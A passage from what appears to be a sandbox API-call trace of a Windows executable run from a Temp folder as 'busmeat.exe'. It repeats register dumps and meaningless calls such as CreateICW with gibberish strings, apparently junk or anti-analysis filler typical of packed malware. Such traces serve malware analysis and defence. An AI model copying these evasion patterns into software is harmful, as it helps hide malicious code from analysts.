[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.155] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.156] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.156] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.156] GetConsoleCP () returned 0x0
	[0066.156] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.156] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.157] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.157] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.157] GetConsoleCP () returned 0x0
	[0066.157] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.157] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.158] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.158] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.158] GetConsoleCP () returned 0x0
